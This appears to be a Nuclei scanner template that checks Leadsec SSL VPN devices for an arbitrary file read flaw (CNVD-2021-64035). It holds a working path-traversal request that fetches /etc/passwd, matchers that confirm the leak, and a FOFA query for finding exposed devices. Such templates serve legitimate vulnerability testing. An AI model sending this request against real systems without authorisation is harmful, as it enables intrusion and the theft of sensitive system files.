40 lines
1.1 KiB
YAML
40 lines
1.1 KiB
YAML
id: CNVD-2021-64035
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info:
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name: Leadsec VPN - Arbitrary File Read
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author: xiaoWangSec
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severity: high
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description: |
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There is an information leakage vulnerability in the SSL VPN of Beijing Wangyuxingyun Information Technology Co., Ltd., and attackers can use the vulnerability to obtain sensitive information.
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reference:
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- https://avd.aliyun.com/detail?id=AVD-2021-888761
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- https://www.cnvd.org.cn/flaw/show/CNVD-2021-64035
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metadata:
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verified: true
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max-request: 1
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fofa-query: icon_hash="-15980305"
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tags: cnvd,cnvd2024,lfi,leadsec,vpn
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http:
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- raw:
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- |
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GET /vpn/user/download/client?ostype=../../../../../../../../../etc/passwd HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- type: word
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part: header
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words:
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- "appframe"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100a116aefbd81adb68a0b53bf166cbe04f64b398ec87ac359d0dad01ad68beccc3022100b0564611ca028726a04d132f781f9347cdede59a636b07f5e8e9d13aae1c2d55:922c64590222798bb761d5b6d8e72950
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